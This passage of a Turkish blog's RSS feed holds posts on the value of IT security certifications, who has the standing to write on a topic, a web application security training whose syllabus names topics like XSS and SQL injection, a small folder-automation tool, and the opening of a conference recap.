border="0"&gt;&lt;/img&gt;&lt;/a&gt;
&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/fmavituna/~4/uX6XlHxKrvI" height="1" width="1"/&gt;</description>
  <guid isPermaLink="false">http://ferruh.mavituna.com/stsec--istanbul-guvenlik-konferansi-oku/</guid>
  <comments>http://ferruh.mavituna.com/stsec--istanbul-guvenlik-konferansi-oku/#comments</comments>
<feedburner:origLink>http://ferruh.mavituna.com/stsec--istanbul-guvenlik-konferansi-oku/</feedburner:origLink></item>
<item>
  <title>Konuşma Hakkı – Sertifikasyon</title>
  <link>http://feedproxy.google.com/~r/fmavituna/~3/txUlDJx3rdU/</link>
  <author>Ferruh Mavituna</author>
  <pubDate>Çar, 13 May 2009 18:49:22 +0300</pubDate>
  <description>&lt;p&gt;Birinci yazı çok tutu diye ikincisini çekmedim! Bu daha çok birinci yazının ahengine kendime kaptırıp unuttuğum kısımları tamamlamaya çalışan bir yazı. &lt;a href="http://ferruh.mavituna.com/konusma-hakki-oku/"&gt;Konuşma Hakkı&lt;/a&gt; henüz okumadıysanız on okuyup bu yazıya geri dönmeniz mantıklı olacaktır.
&lt;/p&gt;&lt;p&gt;&lt;a href="http://ferruh.mavituna.com/fikir-uretme-etki-ve-tepki-oku/"&gt;Hayat girdi ve çıktıdan&lt;/a&gt; ibaret, &lt;a href="http://ferruh.mavituna.com/konusma-hakki-oku/"&gt;Konuşma Hakkı&lt;/a&gt; yazısını da yazmamın ana nedeni benim bilişim sektörü ve üniversite konularında konuşmaktan çekinmemdi. Ben üniversiteye gitmediğinden işin tek yönünü biliyorum, dolayısıyla biri bana "&lt;em&gt;Ne dersin? 4 sene X' i mi okuyayım yoksa Y işyerinde çalışmaya devam edip sektörde deneyim mi kazanayım?&lt;/em&gt;" dediğinde benim bu kişiye vereceğim tek yönlü bir cevap var: "&lt;em&gt;Ben gitmedim, halimden memnunum, gitseydim daha iyi olur muydum, bilemiyorum…&lt;/em&gt;" 
&lt;/p&gt;&lt;p&gt;Aynı şey sertifikasyon için de geçerli, benim hiç sertifikam yoktu ve o konuda konuşmuyordum, ama 2008' in sonunda "&lt;em&gt;Application Security&lt;/em&gt;" konusunda ileri seviye bir sertifika olan CREST' i aldım. CREST bu konuda su götürmez şekilde alınması en zor sertifika, sınav tüm gün sürüyor, &lt;strong&gt;&lt;em&gt;pratik + yazılı + çoklu seçim&lt;/em&gt;&lt;/strong&gt; şeklinde gerçekleşiyor ve gerçekten de zor bir sınav. Artık bir sertifikam var dolayısıyla sertifika konusunda konuşabilirim&lt;sup&gt;1&lt;/sup&gt;
	&lt;/p&gt;&lt;p&gt;Gel gör ki 5.000 TL sınav ücreti ödeyip 3 seneliğine bu sertifikayı almış biri olarak hayatımda hiçbir değişiklik olmadı. Olmasını da beklemiyordum. 
&lt;/p&gt;&lt;p&gt;Sertifika almanın birkaç nedeni vardır:
&lt;/p&gt;&lt;ul&gt;&lt;li&gt;Almak zorundasınızdır, çünkü yaptığınız iş sertifika veya akreditasyon gerektirir
&lt;/li&gt;&lt;li&gt;CV' nize koyarsınız iş bulmanıza yardım eder
&lt;/li&gt;&lt;li&gt;İsminizin önüne, arkasına sağına soluna koyup hava basarsınız(!)&lt;em&gt;&lt;sup&gt;2&lt;/sup&gt;&lt;/em&gt;
		&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;Şimdi sanıyorum ki en popüler neden 2. neden. Bir çok noktada gayet geçerli bir neden. Mesela şu an bu sertifika bana bir sonraki işimde çok yardımcı olabilir ama zaten iyi olan her IT uzmanı çok seçici değilse 1 haftada iş bulur. Daha önceden de çok söyledim iş bulamıyorsanız suçu sektöre atmayın&lt;em&gt;&lt;sup&gt;3&lt;/sup&gt;&lt;/em&gt;. Özetle zaten iyi adamın iş bulması için sertifikaya ihtiyacı yok. Benim alma nedenim biraz farklıydı, bana firmadan alsana dediler ben de gittim aldım. Şimdi de çekmecem de kendi zarfının içerisinde duruyor.
&lt;/p&gt;&lt;p&gt;Sanırım sertifikanın en iyi kullanımı bir konuda orta seviyedeyseniz CV' nize birkaç sertifika ekleyip daha rahat iş bulabilirsiniz. Şimdi bir çok kişi bana kızacaktır, onların yorumlarını da bekliyorum belki de tüm bu sertifika muhabbetinde benim bilmediğim başka işler de vardır.
&lt;/p&gt;&lt;p&gt;
 &lt;/p&gt;&lt;p&gt;&lt;em&gt;&lt;sup&gt;1&lt;/sup&gt; Üniversite konusunda konuşabilmek için 4 sene okul okumak planlarım arasında değil.
&lt;/em&gt;&lt;/p&gt;&lt;p&gt;&lt;em&gt;&lt;sup&gt;2 &lt;/sup&gt;Ben birinin isminde bu şekilde bir unvan gördüğümde akılma gelen tek şey "Demek ki kendi isminin bir önemi yokbu şekilde desteklemesi" gerekiyor diye düşünüyorum
&lt;/em&gt;&lt;/p&gt;&lt;p&gt;&lt;em&gt;&lt;sup&gt;3 &lt;/sup&gt;Junior, stajyer vs. işleri hariç. Herkesin bir yerlerden yetişmesi gerekiyor ama maalesef kriz zamanlarında sadece deneyimli uzmanlar basitçe iş bulabiliyor.&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/kj71r2BXpzZ0mELio2fbifPRBNE/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/kj71r2BXpzZ0mELio2fbifPRBNE/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/kj71r2BXpzZ0mELio2fbifPRBNE/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/kj71r2BXpzZ0mELio2fbifPRBNE/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;&lt;div class="feedflare"&gt;
&lt;a href="http://feeds.feedburner.com/~ff/fmavituna?a=txUlDJx3rdU:GuOdCVz0XvM:yIl2AUoC8zA"&gt;&lt;img src="http://feeds.feedburner.com/~ff/fmavituna?d=yIl2AUoC8zA" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/fmavituna?a=txUlDJx3rdU:GuOdCVz0XvM:7Q72WNTAKBA"&gt;&lt;img src="http://feeds.feedburner.com/~ff/fmavituna?d=7Q72WNTAKBA" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/fmavituna?a=txUlDJx3rdU:GuOdCVz0XvM:dnMXMwOfBR0"&gt;&lt;img src="http://feeds.feedburner.com/~ff/fmavituna?d=dnMXMwOfBR0" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/fmavituna?a=txUlDJx3rdU:GuOdCVz0XvM:2mJPEYqXBVI"&gt;&lt;img src="http://feeds.feedburner.com/~ff/fmavituna?d=2mJPEYqXBVI" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/fmavituna?a=txUlDJx3rdU:GuOdCVz0XvM:gIN9vFwOqvQ"&gt;&lt;img src="http://feeds.feedburner.com/~ff/fmavituna?i=txUlDJx3rdU:GuOdCVz0XvM:gIN9vFwOqvQ" border="0"&gt;&lt;/img&gt;&lt;/a&gt;
&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/fmavituna/~4/txUlDJx3rdU" height="1" width="1"/&gt;</description>
  <guid isPermaLink="false">http://ferruh.mavituna.com/konusma-hakki--sertifikasyon-oku/</guid>
  <comments>http://ferruh.mavituna.com/konusma-hakki--sertifikasyon-oku/#comments</comments>
<feedburner:origLink>http://ferruh.mavituna.com/konusma-hakki--sertifikasyon-oku/</feedburner:origLink></item>
<item>
  <title>Konuşma Hakkı</title>
  <link>http://feedproxy.google.com/~r/fmavituna/~3/EegQROQfgX4/</link>
  <author>Ferruh Mavituna</author>
  <pubDate>Çar, 13 May 2009 14:20:28 +0300</pubDate>
  <description>&lt;p&gt;Türkçe' de harika deyimler ve atasözleri var&lt;sup&gt;5&lt;/sup&gt;
	&lt;/p&gt;&lt;ul&gt;&lt;li&gt;"Kelin merhemi olsa kendine sürer"
&lt;/li&gt;&lt;li&gt;"Ağzı olan konuşuyor" gibi…
&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;Özellikle köşe başındaki bakkal amcanın "&lt;em&gt;Bir Bakkalın Deneyimleri – There is no spoon&lt;/em&gt;&lt;sup&gt;2&lt;/sup&gt;" isimli bir blog açtığı şu Web 3.0-5.0-2.0 günlerinde kimin bir şeyler yazmaya, bir konu hakkında konuşmaya hakkı olduğunu incelemek gerekli. 
&lt;/p&gt;&lt;p&gt;"Konuşma Hakkı" derken bilmeyen konuşmasın gibi anlaşılmasın. Bilgi seviyesinden bağımsız "&lt;em&gt;Konuşmak&lt;/em&gt;","&lt;em&gt;Yazmak&lt;/em&gt;","&lt;em&gt;Paylaşmak&lt;/em&gt;" güzel ve faydalı şeyler. Her şeyden önce insanların zaten bir "&lt;strong&gt;içini dökme&lt;/strong&gt;" ihtiyacı var, genelde sevgili ev hanımları gibi hemen yan kapıdaki web startup' ına kahve içip komşunun AJAX kullanmasını çekiştirmeye&lt;sup&gt;1&lt;/sup&gt; gidemeyeceğimize göre biz de blog yazıyor, FriendFeed' de sağa sola laf atıyor, e-mail ile dedikodu yapıyoruz. Benim değinmek istediğim bu konu değil.
&lt;/p&gt;&lt;p&gt;Öncellikle 3 paragraf yazıp hala bahsedeceğim konuya giriş yapamamış olduğumdan dolayı kendimi tebrik ediyor ve konuşacağım konuya giriş yapıyorum. 
&lt;/p&gt;&lt;p&gt;Mesela "zengin olmak istiyoruz" gittik Amazon' da kitap arıyoruz. 
&lt;/p&gt;&lt;p&gt;3 tane kitap bulduk:
&lt;/p&gt;&lt;ul&gt;&lt;li&gt;Learn to become rich in 21 days, 2nd edition
&lt;/li&gt;&lt;li&gt;How to become rich for dummies
&lt;/li&gt;&lt;li&gt;Hashhash – Be a Professional assassin in a year
&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;Bu kitaplardan hangisinin daha iyi olduğunu anlamak çok kolay, tüm yazarlara bakarız hangisi bu kitaptan önce zenginse o kişinin bu konuda bir kitap yazma ehliyeti olduğuna karar veririz. Eğer bir kişi nasıl zengin olunacağını anlatıyorsa ama kendisi zengin değilse bu denklemde bir hata var demektir&lt;sup&gt;3&lt;/sup&gt;.
&lt;/p&gt;&lt;p&gt;Özetlersek:
&lt;/p&gt;&lt;p&gt;"&lt;strong&gt;Biri size bir şey anlatıyorsa, o kişinin anlattığı konuda otorite olmasa bile iyi seviyede biri olması gereklidir&lt;/strong&gt;".  Eğer birisi bana gelip ben harika SEO yaparım diyorsa o kişinin sitesinin Google' da ilgili aramalarda yukarıda olmasını beklerim. 
&lt;/p&gt;&lt;p&gt;En azından teorik olarak durum bu şekilde ama hayat ortadan beyaz boya ile ayrılmış iki yollu bir şerit değil. Bazen henüz adını sanını duymadığınız bir kişi bir konu hakkında inanılmaz bir fikir ile gelebilir, kişiler aslında yazdıkları konuda çok ileri seviyede olsalar da yayında bir şeyleri yoktur, gelecekte o konuda süper bireyler olacaklardır ve bunun ilk kıvılcımlarını gösteriyorlardır.
&lt;/p&gt;&lt;p&gt;Blog okurken özellikle uzman olmadığınız konularda&lt;sup&gt;4&lt;/sup&gt; bu istisnalara düşme şansınız kaçtır tartışılır, makale, blog ve fikirle dolup taşan bu sanal ortamda değerli vaktinizi bu istisnalara ayırmanın yatırım olarak getirisi de tartışılır.
&lt;/p&gt;&lt;p&gt;Haklı olarak ironiyi fark edip "&lt;em&gt;Ferruh sen bu konuda yazmışsın ama senin bu konudaki otoriten nedir?&lt;/em&gt;" diyeceksiniz ben de size "&lt;em&gt;Ben lafımı ortaya korum, beğenen alır, beğenmeyen Alt + F4 yapar&lt;/em&gt;" diyeceğim. Bir de işte bu tip yazılar var, yazar kendi beynindeki kişisel fırtınayı blog aracılığı ile yazıya döker ve ondan sonra diğerlerinin düşünceleri ile bir sonuca ulaşmaya çalışır.&lt;br/&gt;&lt;span style="font-size:10pt"&gt;
		&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;em&gt;&lt;sup&gt;1 &lt;/sup&gt;Güvenlik sektöründe genelde piyasada tanınan, herkesin bildiği ama aslında kazma olan kişiler çekiştirilir, racon budur. Ek olarak abartılmış açıklar ya da aynı konuşma ile 10 güvenlik konferansına gidenler de bu arada kaynar. 
&lt;/em&gt;&lt;/p&gt;&lt;p&gt;&lt;em&gt;&lt;sup&gt;2 &lt;/sup&gt;Niye üç blogun iki tanesinin adında "There is no spoon" geçer hiç bilmiyorum. Bu sanırım MMORPG larda karakter isimlerden "Dark" kullanmak gibi bir şey olsa.
&lt;/em&gt;&lt;/p&gt;&lt;p&gt;&lt;em&gt;&lt;sup&gt;3 &lt;/sup&gt;Eğer yazarlardan biri kitap sayesinde zengin olduysa aynı yazarın marketing kategorisindeki "How to sell every single shit in the earth" kitabını almanızı tavsiye ederim.
&lt;/em&gt;&lt;/p&gt;&lt;p&gt;&lt;em&gt;&lt;sup&gt;4 &lt;/sup&gt;Eğer o konuda uzmansanız ne okuduğunuz önemli değil. İlk defa duymuş olsanız bile okuduğunuzun fikrin iyi, süper veya saçma olduğunu anlayabilirsiniz.
&lt;/em&gt;&lt;/p&gt;&lt;p&gt;&lt;em&gt;&lt;sup&gt;5 &lt;/sup&gt;Türk dilisi ve edebiyası derslerinde "deyimler" konusunda uyuya kaşdığımdan hangisinin deyim, hangisinin atasözü olduğunu çözemedim. Ama eminim ki yardımsever(!) bir TDK şövalyesi önce ayrı yazmadığım "de" ve "da" lar için beni sorguya çekecek sonra da bu gizemli konuya bir açıklık getirecektir.&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/x5rsdDc3psYZM5CdZaJsRfcCFMM/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/x5rsdDc3psYZM5CdZaJsRfcCFMM/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/x5rsdDc3psYZM5CdZaJsRfcCFMM/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/x5rsdDc3psYZM5CdZaJsRfcCFMM/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;&lt;div class="feedflare"&gt;
&lt;a href="http://feeds.feedburner.com/~ff/fmavituna?a=EegQROQfgX4:NRsCO0jgd8g:yIl2AUoC8zA"&gt;&lt;img src="http://feeds.feedburner.com/~ff/fmavituna?d=yIl2AUoC8zA" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/fmavituna?a=EegQROQfgX4:NRsCO0jgd8g:7Q72WNTAKBA"&gt;&lt;img src="http://feeds.feedburner.com/~ff/fmavituna?d=7Q72WNTAKBA" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/fmavituna?a=EegQROQfgX4:NRsCO0jgd8g:dnMXMwOfBR0"&gt;&lt;img src="http://feeds.feedburner.com/~ff/fmavituna?d=dnMXMwOfBR0" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/fmavituna?a=EegQROQfgX4:NRsCO0jgd8g:2mJPEYqXBVI"&gt;&lt;img src="http://feeds.feedburner.com/~ff/fmavituna?d=2mJPEYqXBVI" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/fmavituna?a=EegQROQfgX4:NRsCO0jgd8g:gIN9vFwOqvQ"&gt;&lt;img src="http://feeds.feedburner.com/~ff/fmavituna?i=EegQROQfgX4:NRsCO0jgd8g:gIN9vFwOqvQ" border="0"&gt;&lt;/img&gt;&lt;/a&gt;
&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/fmavituna/~4/EegQROQfgX4" height="1" width="1"/&gt;</description>
  <guid isPermaLink="false">http://ferruh.mavituna.com/konusma-hakki-oku/</guid>
  <comments>http://ferruh.mavituna.com/konusma-hakki-oku/#comments</comments>
<feedburner:origLink>http://ferruh.mavituna.com/konusma-hakki-oku/</feedburner:origLink></item>
<item>
  <title><img src="/mg/icons/star.gif" alt="Süper Makale" class="abs" /> Web Uygulaması Güvenliği Eğitimleri</title>
  <link>http://feedproxy.google.com/~r/fmavituna/~3/HeYQbwTscfw/</link>
  <author>Ferruh Mavituna</author>
  <pubDate>Çar, 29 Nis 2009 14:05:48 +0300</pubDate>
  <description>&lt;p&gt;&lt;strong&gt;Güncelleme:&lt;br/&gt;&lt;/strong&gt;&lt;em&gt;6-7 Haziran eğitim tamamlandı. Yeni eğitimler 29-30 Ağustos' da verilecektir. &lt;a href="http://www.zerumax.com/"&gt;Zerumax' ın sitesinden bu eğitime kayıt olabilirsiniz&lt;/a&gt;, ilginiz için teşekküler. Eğitimin detaylarını yazının devamında görebilirsiniz. &lt;/em&gt;
	&lt;/p&gt;&lt;p&gt;   
 &lt;/p&gt;&lt;p&gt;29-30 Ağustos günleri "&lt;strong&gt;Web Uygulaması Güvenliği Eğitimi&lt;/strong&gt;" vermek için Türkiye' ye geleceğim. 2 günlük eğitimde birçok güvenlik açığının nasıl exploit edileceğini gösterecek ve öğreteceğim. Eğitimler aktif şekilde yapılacak ve katılımcılar da kurulacak test sistemlerini gösterilen teknikler ile bizzat hackleyebilecekler. 
&lt;/p&gt;&lt;p&gt;Eğitim seviyesi başlangıçtan – orta düzeye kadar olacak. Katılımcıların en azından "&lt;em&gt;HTML Nedir?&lt;/em&gt;" gibi temel bilgileri bilmesi gerekli ama ön bir güvenlik bilgisine ihtiyaçları yok. 
&lt;/p&gt;&lt;h2&gt;Eğitim İçeriği 
&lt;/h2&gt;&lt;ol&gt;&lt;li&gt;&lt;div&gt;Web Güvenliğine Hızlı Bir Giriş 
&lt;/div&gt;&lt;ol&gt;&lt;li&gt;Web aslında nasıl çalışıyor? 
&lt;/li&gt;&lt;/ol&gt;&lt;/li&gt;&lt;li&gt;&lt;div&gt;Web Uygulamaları ve Oturumlari (&lt;em&gt;Session&lt;/em&gt;) anlama 
&lt;/div&gt;&lt;ol&gt;&lt;li&gt;Üye Giriş sistemleri, Cookieler ve Oturumlar 
&lt;/li&gt;&lt;li&gt;&lt;span style="font-size:7pt"&gt;  &lt;/span&gt;Session Hijacking (&lt;em&gt;Basit bir şekilde oturum çalma&lt;/em&gt;) 
&lt;/li&gt;&lt;/ol&gt;&lt;/li&gt;&lt;li&gt;&lt;div&gt;Basit numaralar: E-ticaret sistemlerindeki sepetleri hackleme 
&lt;/div&gt;&lt;ol&gt;&lt;li&gt;Client-side korumaları geçme 
&lt;/li&gt;&lt;li&gt;E-ticaret sitelerinde klasik güvenlik açıklarını exploit etme 
&lt;/li&gt;&lt;/ol&gt;&lt;/li&gt;&lt;li&gt;&lt;div&gt;XSS - Cross-site Scripting i anlama ve exploit etme 
&lt;/div&gt;&lt;ol&gt;&lt;li&gt;XSS Nedir? Nasıl kullanılır, XSS ile ne yapılabilir ne yapılamaz? 
&lt;/li&gt;&lt;/ol&gt;&lt;/li&gt;&lt;li&gt;&lt;div&gt;SQL Injection ı anlama ve exploit etme 
&lt;/div&gt;&lt;ol&gt;&lt;li&gt;SQL Injection nedir? 
&lt;/li&gt;&lt;li&gt;SQL Injection üzerinden sistemi ele geçirme 
&lt;/li&gt;&lt;li&gt;Blind SQL Injection ve Time Based SQL Injection Saldırıları 
&lt;/li&gt;&lt;/ol&gt;&lt;/li&gt;&lt;li&gt;&lt;div&gt;Hedef Sistemde Kod Çalıştırma (Command Injection, RFI, LFI) 
&lt;/div&gt;&lt;ol&gt;&lt;li&gt;RFI (&lt;em&gt;Remote File Injection&lt;/em&gt;) açıklarını kullanma 
&lt;/li&gt;&lt;li&gt;LFI (&lt;em&gt;Local File Injection&lt;/em&gt;) ile kod Çalıştırma 
&lt;/li&gt;&lt;/ol&gt;&lt;/li&gt;&lt;li&gt;&lt;div&gt;Upload Formlarını kullanarak sistemi ele geçirme 
&lt;/div&gt;&lt;ol&gt;&lt;li&gt;Upload formlarındaki güvenlik önlemlerini geçme 
&lt;/li&gt;&lt;/ol&gt;&lt;/li&gt;&lt;li&gt;&lt;div&gt;CSRF 
&lt;/div&gt;&lt;ol&gt;&lt;li&gt;Cross-site Request Forgery Nedir? 
&lt;/li&gt;&lt;li&gt;CSRF kullanarak sisteme erişim 
&lt;/li&gt;&lt;li&gt;CRSF ve SQL Injection ı kullanarak sistemde kod çalıştırma 
&lt;/li&gt;&lt;/ol&gt;&lt;/li&gt;&lt;/ol&gt;&lt;p&gt;Özellikle web sitelerinin güvenliğinden sorumlu olan kişiler, güvenli kod yazmak isteyenler, hackerların sistemlere nasıl saldırdığını öğrenmek ve o şekilde kendi sistemlerine saldırmak isteyenler için eğitimin çok verimli olacağını düşünüyorum. 
&lt;/p&gt;&lt;h2&gt;Kayıtlar Başladı 
&lt;/h2&gt;&lt;p&gt;Eğitim &lt;a href="http://www.zerumax.com/"&gt;Zerumax&lt;/a&gt; tarafından organize ediliyor, &lt;a href="http://www.zerumax.com/"&gt;Zerumax' ın sitesinden eğitime kayıt olabilirsiniz&lt;/a&gt;, eğitim sonunda katılımcılara eğitim sertifikası verilecektir. Ek olarak eğitim yeri &lt;em&gt;Taksim Oteller Bölgesi &lt;/em&gt;olacak ve çay – kahve, öğle yemeği fiyata dahildir. &lt;br/&gt;2 günlük eğitimin toplam fiyatı 750 YTL + KDV' dir. 
&lt;/p&gt;&lt;p&gt;Eğitim konusunda herhangi bir sorun ya da sorunuz olursa yorumlara yazabilir ya da ferruh(at)mavituna.com adresinden e-mail ile ulaşabilir ya da &lt;a href="http://www.zerumax.com/Iletisim.php"&gt;Zerumax ile direk olarak görüşebilirsiniz&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/erFEVRiU_Ju2O3Ge6ceVQtYQZ5U/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/erFEVRiU_Ju2O3Ge6ceVQtYQZ5U/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/erFEVRiU_Ju2O3Ge6ceVQtYQZ5U/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/erFEVRiU_Ju2O3Ge6ceVQtYQZ5U/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;&lt;div class="feedflare"&gt;
&lt;a href="http://feeds.feedburner.com/~ff/fmavituna?a=HeYQbwTscfw:hjhsfPp8CJA:yIl2AUoC8zA"&gt;&lt;img src="http://feeds.feedburner.com/~ff/fmavituna?d=yIl2AUoC8zA" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/fmavituna?a=HeYQbwTscfw:hjhsfPp8CJA:7Q72WNTAKBA"&gt;&lt;img src="http://feeds.feedburner.com/~ff/fmavituna?d=7Q72WNTAKBA" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/fmavituna?a=HeYQbwTscfw:hjhsfPp8CJA:dnMXMwOfBR0"&gt;&lt;img src="http://feeds.feedburner.com/~ff/fmavituna?d=dnMXMwOfBR0" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/fmavituna?a=HeYQbwTscfw:hjhsfPp8CJA:2mJPEYqXBVI"&gt;&lt;img src="http://feeds.feedburner.com/~ff/fmavituna?d=2mJPEYqXBVI" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/fmavituna?a=HeYQbwTscfw:hjhsfPp8CJA:gIN9vFwOqvQ"&gt;&lt;img src="http://feeds.feedburner.com/~ff/fmavituna?i=HeYQbwTscfw:hjhsfPp8CJA:gIN9vFwOqvQ" border="0"&gt;&lt;/img&gt;&lt;/a&gt;
&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/fmavituna/~4/HeYQbwTscfw" height="1" width="1"/&gt;</description>
  <guid isPermaLink="false">http://ferruh.mavituna.com/web-uygulamasi-guvenligi-egitimleri-oku/</guid>
  <comments>http://ferruh.mavituna.com/web-uygulamasi-guvenligi-egitimleri-oku/#comments</comments>
<feedburner:origLink>http://ferruh.mavituna.com/web-uygulamasi-guvenligi-egitimleri-oku/</feedburner:origLink></item>
<item>
  <title><img src="/mg/icons/star.gif" alt="Süper Makale" class="abs" /> Psycho Folder</title>
  <link>http://feedproxy.google.com/~r/fmavituna/~3/9u-zywayW58/</link>
  <author>Ferruh Mavituna</author>
  <pubDate>Paz, 26 Nis 2009 21:31:25 +0300</pubDate>
  <description>&lt;p&gt;&lt;img style="float:left" src="http://ferruh.mavituna.com//blogs/upload/042609_1831_PsychoFolde1.png" alt=""/&gt;I've got a routine of extracting downloaded video files, appending subtitles where required and moving them to the server that my PS3 connects, so I can watch it on my TV. This process involves about 3 steps, 1-2  minutes waiting, worse I have to be in front of the computer (&lt;em&gt;second floor&lt;/em&gt;) to do these.
&lt;/p&gt;&lt;p&gt;This weekend I decided to put an end to my misery and developed a small application which watches a folder and carries out defined rules based on the created/renamed files in the folder. After about 2-3 hours of hacking I end up with &lt;a href="http://code.google.com/p/psychofolder/"&gt;Psycho Folder&lt;/a&gt;. Just modify the &lt;a href="http://code.google.com/p/psychofolder/wiki/RulesXML"&gt;Rules.xml&lt;/a&gt;, define your own rules and let it do the job for you. After I saw it on action and really liked it and spent another couple of hours for polishing.
&lt;/p&gt;&lt;p&gt;It's written .NET Framework 2.0, &lt;a href="http://code.google.com/p/psychofolder/source/checkout"&gt;get the source code&lt;/a&gt; or &lt;a href="http://code.google.com/p/psychofolder/downloads/list"&gt;get the installer&lt;/a&gt; to give it a try. &lt;a href="http://code.google.com/p/psychofolder/issues/list"&gt;Report a bug or request a feature.&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/L_C8TromTMC_2kDNYYaW9740R68/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/L_C8TromTMC_2kDNYYaW9740R68/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/L_C8TromTMC_2kDNYYaW9740R68/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/L_C8TromTMC_2kDNYYaW9740R68/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;&lt;div class="feedflare"&gt;
&lt;a href="http://feeds.feedburner.com/~ff/fmavituna?a=9u-zywayW58:kGvAc84pn3w:yIl2AUoC8zA"&gt;&lt;img src="http://feeds.feedburner.com/~ff/fmavituna?d=yIl2AUoC8zA" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/fmavituna?a=9u-zywayW58:kGvAc84pn3w:7Q72WNTAKBA"&gt;&lt;img src="http://feeds.feedburner.com/~ff/fmavituna?d=7Q72WNTAKBA" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/fmavituna?a=9u-zywayW58:kGvAc84pn3w:dnMXMwOfBR0"&gt;&lt;img src="http://feeds.feedburner.com/~ff/fmavituna?d=dnMXMwOfBR0" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/fmavituna?a=9u-zywayW58:kGvAc84pn3w:2mJPEYqXBVI"&gt;&lt;img src="http://feeds.feedburner.com/~ff/fmavituna?d=2mJPEYqXBVI" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/fmavituna?a=9u-zywayW58:kGvAc84pn3w:gIN9vFwOqvQ"&gt;&lt;img src="http://feeds.feedburner.com/~ff/fmavituna?i=9u-zywayW58:kGvAc84pn3w:gIN9vFwOqvQ" border="0"&gt;&lt;/img&gt;&lt;/a&gt;
&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/fmavituna/~4/9u-zywayW58" height="1" width="1"/&gt;</description>
  <guid isPermaLink="false">http://ferruh.mavituna.com/psycho-folder-oku/</guid>
  <comments>http://ferruh.mavituna.com/psycho-folder-oku/#comments</comments>
<feedburner:origLink>http://ferruh.mavituna.com/psycho-folder-oku/</feedburner:origLink></item>
<item>
  <title><img src="/mg/icons/star.gif" alt="Süper Makale" class="abs" /> ITUnderground 2009’ un Ardından</title>
  <link>http://feedproxy.google.com/~r/fmavituna/~3/s8u7TY4N3XM/</link>
  <author>Ferruh Mavituna</author>
  <pubDate>Paz, 29 Mar 2009 13:59:11 +0300</pubDate>
  <description>&lt;p&gt;Konferanstan döneli bir kaç gün oldu. Konferansta gayet güzel sunumlar vardı. Benim çok aktif olmadığım bir konu olan Layer 2 güvenliği ile ilgili üç güzel sunum izledim. Pek ilgim olmadığından dolayı bir tanesi gayet bilinir bir konu olsa da gene de ben eğlendim. &lt;em&gt;DTP, STP protokollerini kurcalama ve genel Vlan saldırıları ile ilgiliydi. &lt;/em&gt;Demoların bir çoğu güzeldi ve biraz daha derin bilgi almak keyifliydi.
